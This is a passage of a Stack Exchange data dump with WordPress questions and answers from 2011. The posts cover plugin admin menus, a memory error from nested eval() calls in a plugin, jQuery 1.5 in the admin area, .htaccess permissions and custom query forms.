LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-30T11:30:51.083" LastActivityDate="2011-04-30T11:30:51.083" CommentCount="3" />
  <row Id="8852" PostTypeId="2" ParentId="8845" CreationDate="2011-02-08T10:31:50.343" Score="1" ViewCount="" Body="&lt;p&gt;the easiest way would be to create a simple form :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $nonce= wp_create_nonce  ('my-nonce'); ?&amp;gt;&#xA;&amp;lt;form name=&quot;user-query&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;_wpnonce&quot; id=&quot;_wpnonce&quot; value=&quot;&amp;lt;?php echo $nonce; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;p&amp;gt;Locations:&#xA;&amp;lt;select name=&quot;location&quot; id&quot;location&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;location1&quot;&amp;gt;location1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;location2&quot;&amp;gt;location2&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;location3&quot;&amp;gt;location3&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;location4&quot;&amp;gt;location4&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Sections:&#xA;&amp;lt;select name=&quot;section&quot; id&quot;location&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;section1&quot;&amp;gt;section1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;section2&quot;&amp;gt;section2&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;section3&quot;&amp;gt;section3&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;section4&quot;&amp;gt;section4&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;create-query&quot; value=&quot;create query&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and catch that for submit and process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['create-query'])){&#xA;    $nonce=$_POST['_wpnonce'];&#xA;    if (! wp_verify_nonce($nonce, 'my-nonce') ) die('Security check');&#xA;    if (isset($_POST['location']) &amp;amp;&amp;amp; isset($_POST['section']) ){&#xA;        $args = array(&#xA;            'post_type' =&amp;gt; 'blocks',&#xA;            'location' =&amp;gt; $_POST['location'],&#xA;            'section' =&amp;gt; $_POST['section']&#xA;        );&#xA;        $custom_posts-&amp;gt;query($args);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i would add some security checks but this should get you going.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-08T10:39:43.597" LastActivityDate="2011-02-08T10:39:43.597" CommentCount="4" />
  <row Id="8853" PostTypeId="1" AcceptedAnswerId="8854" CreationDate="2011-02-08T11:00:25.420" Score="0" ViewCount="284" Body="&lt;p&gt;Suddenly I am getting the following error on my website, I don't know why, but I think this is because of shortage of RAM or Memory in the host?&#xA;Is it true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Out of memory (allocated&#xA;  12845056) (tried to allocate 311296&#xA;  bytes) in&#xA;  /wp-content/plugins/WPRobot3/wprobot.php(1239)&#xA;  : eval()'d code(1) : eval()'d code(1)&#xA;  : eval()'d code(1) : eval()'d code(1)&#xA;  : eval()'d code(1) : eval()'d code(1)&#xA;  : eval()'d code(1) : eval()'d code(1)&#xA;  : eval()'d code(1) : eval()'d code on&#xA;  line 335&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Out of memory (allocated&#xA;  18874368) (tried to allocate 35 bytes)&#xA;  in /wp-includes/wp-db.php on line 1140&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this because of insufficient memory with the host? or is it because of wp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notices&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: get_settings is deprecated since version 2.1! Use get_option() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_sidebar_widget is deprecated since version 2.8! Use wp_register_sidebar_widget() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: register_widget_control is deprecated since version 2.8! Use wp_register_widget_control() instead. in wp-includes/functions.php on line 3237&#xA;&#xA;Notice: Undefined index: page in wp-content/plugins/seo-booster-lite/seo-booster.php on line 980&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: Undefined index: page in wp-content/plugins/autoblogged/autoblogged.php on line 164&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in wp-includes/functions.php on line 3321&#xA;&#xA;Notice: Undefined index: page in wp-content/plugins/seo-booster-lite/seo-booster.php on line 990&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-02-08T12:14:50.597" LastActivityDate="2011-02-08T12:14:50.597" Title="Fatal error, is this because of host?" Tags="&lt;errors&gt;&lt;memory&gt;" AnswerCount="1" />
  <row Id="8854" PostTypeId="2" ParentId="8853" CreationDate="2011-02-08T11:11:48.947" Score="1" ViewCount="" Body="&lt;p&gt;While this is clearly out of memory error, it seems to be caused by obfuscated code in plugin's file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is rarely legit reason to run that many layers of &lt;a href=&quot;http://php.net/manual/en/function.eval.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;eval()&lt;/code&gt;&lt;/a&gt; so either that code is obfuscated for not-so-good reason or some error is causing endless loop (which should trigget another error by exceeding recursion, but possibly memory runs out before that).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T11:11:48.947" CommentCount="12" />
  <row Id="8855" PostTypeId="2" ParentId="6227" CreationDate="2011-02-08T11:28:23.690" Score="0" ViewCount="" Body="&lt;p&gt;In code you posted you have issue with syntax - you should stick either with braces style or colons style, &lt;a href=&quot;http://php.net/manual/en/control-structures.alternative-syntax.php&quot; rel=&quot;nofollow&quot;&gt;mixing them is not supported&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(class_exists('MultiPostThumbnails')&#xA;    &amp;amp;&amp;amp; MultiPostThumbnails::has_post_thumbnail('post', 'secondary-image')) {&#xA;&#xA;    MultiPostThumbnails::the_post_thumbnail('post', 'secondary-image', NULL, 'post-secondary-image-thumbnail');&#xA;} &#xA;else {&#xA;&#xA;    the_post_thumbnail();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T11:28:23.690" />
  <row Id="8856" PostTypeId="2" ParentId="6399" CreationDate="2011-02-08T11:41:08.423" Score="3" ViewCount="" Body="&lt;p&gt;As far as I know stats are not really inherent feature of email. In comments under &lt;a href=&quot;http://ma.tt/2010/10/email-graphs/&quot; rel=&quot;nofollow&quot;&gt;Email Graphs&lt;/a&gt; post about this feature &lt;a href=&quot;http://wordpress.stackexchange.com/users/2232/otto&quot;&gt;Otto&lt;/a&gt; says that stats are pulled out of database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they are somehow tracked in first place, which has little to do with WordPress. It depends on what you use for your email account and server (if not from some free service).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T11:41:08.423" CommentCount="3" />
  <row Id="8857" PostTypeId="2" ParentId="7204" CreationDate="2011-02-08T11:43:05.083" Score="1" ViewCount="" Body="&lt;p&gt;Just FYI the plugin mentioned above is awesome. Not only do you get permalinks for custom post types, but it supports custom taxonomy too, so something like this is legit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/games/%game_category%/%game%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/games/racing/need-for-speed/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(couldn't post this as a comment for some reason, sorry)&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-02-08T11:43:05.083" />
  <row Id="8858" PostTypeId="1" AcceptedAnswerId="8874" CreationDate="2011-02-08T11:52:10.507" Score="1" ViewCount="141" Body="&lt;p&gt;I want to display the &quot;latest x posts&quot;, like you see per default on the index-page, but on a completely different site. E.g. &lt;code&gt;/blog/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing WP into the directory &lt;code&gt;/blog/&lt;/code&gt; is not an option, as the other pages will be managed with WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using the &lt;code&gt;NuRelm Get Posts&lt;/code&gt; plugin to get the content of the latest 10 posts, but the styling is really hard to recreate with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any simple solution to use the &quot;Show latest posts&quot; on other sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I'm using the &lt;code&gt;twentyten&lt;/code&gt; theme as basis&lt;/p&gt;&#xA;" OwnerUserId="3012" LastEditorUserId="3012" LastEditorDisplayName="" LastEditDate="2011-02-08T15:15:12.317" LastActivityDate="2011-02-08T16:19:57.823" Title="Using the &quot;Latest posts&quot; feature on a different site" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;cms&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="8859" PostTypeId="2" ParentId="6749" CreationDate="2011-02-08T11:56:50.403" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; documentation in Codex has example of metabox creation and links to related tutorials.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T11:56:50.403" />
  <row Id="8860" PostTypeId="2" ParentId="6745" CreationDate="2011-02-08T12:00:38.407" Score="0" ViewCount="" Body="&lt;p&gt;This may largely depend not on plugin itself, but on source feed. Assuming RSS 2.0 (I am most acquainted with) the unique identification of post can be tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the letter &lt;code&gt;guid&lt;/code&gt; should be unique identifier (it may or may not be a link), but actuall feeds in the wild can be a mess. Advanced RSS clients usually try to juggle guid, link and even time as identifiers of uniqueness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If source feed is not generated reliably then client can have trouble distinguishing posts in it as unique.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T12:00:38.407" />
  <row Id="8861" PostTypeId="2" ParentId="6956" CreationDate="2011-02-08T12:10:18.190" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#Securing_wp-admin&quot; rel=&quot;nofollow&quot;&gt;Codex recommends adding HTTP authentication&lt;/a&gt; as additional layer of protection. Strictly speaking it doesn't rely on WP and keeping things independent is not a bad idea in context of security.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T12:10:18.190" />
  <row Id="8862" PostTypeId="1" AcceptedAnswerId="8863" CreationDate="2011-02-08T12:47:21.460" Score="0" ViewCount="279" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Original title was &quot;Getting error: You do not have sufficient permissions to access this page. Trying to build custom plugin&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to write my own custom WordPress plugin, but as soon as I click on the menu I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;You do not have sufficient permissions to access this page.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My plugin is located under:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-content/plugins/wp-e-commerce-group-pricing/wp-e-commerce-group-pricing.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is below, I'm new to WordPress, so maybe I'm doing something wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() ) {&#xA;  // Hooks and admin menu setup&#xA;  add_action('admin_menu', 'add_options_gp');&#xA;&#xA;  function add_options_gp() {&#xA;    add_submenu_page('wpsc-sales-logs','WPEC - Group Pricing','Group Pricing',7,&#xA;                     'wp-e-commerce-group-pricing', 'price_options');&#xA;  }&#xA;&#xA;  function price_options(){&#xA;    // Page content goes here...&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2719" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-08T13:10:45.020" LastActivityDate="2011-02-08T15:33:20.163" Title="Menu Error in Admin Console with Custom Plugin: You do not have sufficient permissions to access this page" Tags="&lt;plugin-development&gt;&lt;admin-menu&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8863" PostTypeId="2" ParentId="8862" CreationDate="2011-02-08T13:01:28.913" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Roland:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue may be in your call to &lt;code&gt;add_submenu_page()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('wpsc-sales-logs',...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first parameter needs to be a reference to your Menu Page's &quot;slug&quot;, i.e. if you use &lt;code&gt;'edit.php'&lt;/code&gt; instead you'll see that you get a menu option under the &lt;em&gt;&quot;Posts&quot;&lt;/em&gt; menu page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('edit.php','WPEC - Group Pricing','Group Pricing', 7,&#xA;                 'wp-e-commerce-group-pricing', 'price_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110208-080436.png&quot; alt=&quot;WordPress Admin Menu with Submenu Page URL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to find out what URL fragment (the part past &lt;code&gt;http://yoursite.com/wp-admin/&lt;/code&gt;) that your menu page uses. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For future readers, Roland's issue was &lt;strong&gt;a hook priority&lt;/strong&gt; issue. Changing priority from 10 to 11 fixed it in his case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'add_options_gp',11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. You really don't need the &lt;code&gt;if&lt;/code&gt; statement testing for &lt;code&gt;is_admin()&lt;/code&gt; since you are using the &lt;code&gt;'admin_menu'&lt;/code&gt; hook; it only fires in the admin.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-08T15:33:20.163" LastActivityDate="2011-02-08T15:33:20.163" CommentCount="11" />
  <row Id="8864" PostTypeId="1" AcceptedAnswerId="8865" CreationDate="2011-02-08T13:36:48.057" Score="1" ViewCount="246" Body="&lt;p&gt;I read that jQuery 1.5 has just been &lt;a href=&quot;http://blog.jquery.com/2011/02/07/jqcommunity-updates-feb2011/&quot; rel=&quot;nofollow&quot;&gt;released&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think that replacing version 1.4.2 with this new release is worth in terms of pure performance (on the admin side because my current theme does not use jQuery a lot)? Any side effects or compatibility problems?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-08T14:52:34.777" LastActivityDate="2011-02-11T10:40:36.603" Title="Is it worth updating WP admin to jQuery 1.5?" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="8865" PostTypeId="2" ParentId="8864" CreationDate="2011-02-08T14:04:55.537" Score="3" ViewCount="" Body="&lt;p&gt;Well, as for performance &lt;a href=&quot;http://blog.jquery.com/2011/01/31/jquery-15-released/&quot; rel=&quot;nofollow&quot;&gt;release post&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this release we’ve also been able&#xA;  to improve the performance of some&#xA;  commonly-used traversal methods:&#xA;  .children(), .prev(), and .next(). The&#xA;  speed-ups that we’re seeing are quite&#xA;  substantial (potentially many many&#xA;  times faster, depending upon the&#xA;  browser).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On other hand replacing jQuery on admin side is rarely good idea, because it is getting merged into concatenated bunch of scripts and it's a mess to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you are suffering from considerable JS performance issues in admin, my personal opinion is that it isn't worth the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS WP 3.1 will have newer 1.4.4 jQuery version, don't know if they will bother to bring it up to 1.5 by final release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress 3.0.5 was released at the&#xA;  same time as jQuery 1.5.&#xA;  Unfortunately, 1.5 has some backwards&#xA;  incompatible changes that appear to&#xA;  break a number of areas in the admin.&#xA;  The timing is awkward and it looks&#xA;  like it was us. It wasn’t.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There’s nothing we can do about this even for WordPress 3.1, which is&#xA;  freezing at jQuery 1.4.4. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;( &lt;a href=&quot;http://wpdevel.wordpress.com/2011/02/10/if-your-menus-or-widgets-screens-broke/&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So issues t31os desribed are definitely caused by jQuery 1.5 and it is definitely not recommended to use in admin area at moment.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-11T10:40:36.603" LastActivityDate="2011-02-11T10:40:36.603" CommentCount="1" />
  <row Id="8866" PostTypeId="2" ParentId="8862" CreationDate="2011-02-08T14:08:35.890" Score="1" ViewCount="" Body="&lt;p&gt;Does it show up and work if you add it as sub menu page to some other menu item? Please try this to make shure it works and the only problem is the slug. Some point i'd suggest to look is the parent plugin folder and a search for add_menu_page in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look into your wp ecommerce folder: wp-e-commerce &gt; wpsc-admin &gt; admin.php on line 71-96 you'll find the way how it's done in the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Mike: &lt;a href=&quot;http://downloads.wordpress.org/plugin/wp-e-commerce.zip&quot; rel=&quot;nofollow&quot;&gt;Here's the download link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to use &lt;code&gt;add_object_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '');&lt;/code&gt; with &lt;code&gt;'admin.php?page=wpsc-sales-logs'&lt;/code&gt; or &lt;code&gt;'wpsc-sales-logs'&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or try to use something like &lt;code&gt;add_submenu_page('wpsc-sales-logs', __('WPEC - Group Pricing', 'wpsc'), __('Group Pricing', 'wpsc'), 7, 'wpsc-sales-logs', 'price_options');&lt;/code&gt; or take a look at the reference from wp-e-commerce plugin files at (file from above) line 99-108&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-08T14:51:08.023" LastActivityDate="2011-02-08T14:51:08.023" CommentCount="5" />
  <row Id="8867" PostTypeId="2" ParentId="8858" CreationDate="2011-02-08T14:10:52.730" Score="2" ViewCount="" Body="&lt;p&gt;Unless you plan to display the recent posts in an iframe, you will have to deal with the styling no matter how you get them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is why can't you make /blog a page within the same WP install, but with a custom template? I.e., what kaiser said.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-08T14:10:52.730" CommentCount="0" />
  <row Id="8868" PostTypeId="2" ParentId="8858" CreationDate="2011-02-08T14:10:55.827" Score="1" ViewCount="" Body="&lt;p&gt;a) Create a template file&lt;br&gt;&#xA;b) Copy the content of your index.php&lt;br&gt;&#xA;c) Add the content from index.php to your new template&lt;br&gt;&#xA;d) Load it up to your server&lt;br&gt;&#xA;e) Create a new page and add your new template as template&lt;br&gt;&#xA;f) on admin settings page choose your new page as static front page  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should work as expected.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-08T14:10:55.827" CommentCount="4" />
  <row Id="8869" PostTypeId="2" ParentId="8864" CreationDate="2011-02-08T14:38:06.520" Score="1" ViewCount="" Body="&lt;p&gt;Ticket linked to by hakre in comment to Rarst's answer would indicate 3.2 should see the inclusion of jQuery 1.5, so you could simply wait until 3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, i did find a way to load 1.5 into the admin..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works with or without concatenation on(just note the issues further down).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'try_jquery_version');&#xA;function try_jquery_version() {&#xA;    global $wp_scripts;&#xA;    if( !is_object( $wp_scripts ) )&#xA;        return;&#xA;    if( !isset( $wp_scripts-&amp;gt;registered['jquery'] ) )&#xA;        return;&#xA;    $wp_scripts-&amp;gt;registered['jquery']-&amp;gt;src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.js';&#xA;    $wp_scripts-&amp;gt;registered['jquery']-&amp;gt;ver = '1.5';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some side-effects, and i'm not sure if that's the result of caching or whether other jQuery scripts have to also be updated inline with the new jQuery version(ie. ui-core), or whether it simply won't work correctly in WordPress at present. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Known Issues:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dashboards widgets don't seem to load.  &lt;/li&gt;&#xA;&lt;li&gt;Various errors shown in Firefox's console related to undefined vars and such(i don't know enough about JS to know why these occur)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'll add any additional issues i see to the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, i'm going to keep testing 1.5 and see how i get on, it should be interesting to see if it makes a difference(seems a little faster, but it could just be me imagining it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;em&gt;Feb 2nd 2011&lt;/em&gt;&lt;br&gt;&#xA;As far as i can tell there's nothing special that's done to intergrate jquery into WordPress, having looked at the WP changesets, it looks as if jquery is simply updated as and when needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently assuming that the problems i've experienced are a natural result of changes in the new version of jquery or that i'm getting served up a cached version of the previous copy(or that ui needs updating inline with jquery to). I needed to get other things done, so i've switched back to 1.4(whatever is included in WP) for now and it doesn't appear there was particular interest in my observations anyway(but happy to share my thoughts if anyone wants to hear them).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-11T09:56:41.853" LastActivityDate="2011-02-11T09:56:41.853" CommentCount="1" />
  <row Id="8870" PostTypeId="2" ParentId="8850" CreationDate="2011-02-08T14:40:12.610" Score="3" ViewCount="" Body="&lt;p&gt;Something else is going on here. Wordpress does not erase the contents of the .htaccess file when it writes new permalinks; it appends the new permalink structure to the end of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have anything other code or plugins that uses .htaccess? Are you on a Windows server that does not natively support mod rewrite and as a result requires other ways of enabling mod rewrite and might be the cause of the erasing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep WP from writing/appending to the .htaccess file, set permalinks, make your own changes, and then set .htaccess permissions to 444, and then you can view the permalinks admin page without WP automatically appending to the file. This is what I do.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-08T14:40:12.610" CommentCount="2" />
  <row Id="8871" PostTypeId="1" CreationDate="2011-02-08T15:13:40.953" Score="0" ViewCount="94" Body="&lt;p&gt;I'm looking for some inspiration on the best way to run a php script away from the template. I know that the wordpress core files won't have loaded, so I am wondering what workgflow you follow when doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-08-07T22:20:44.767" Title="best way to run a php script away from the template?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" />
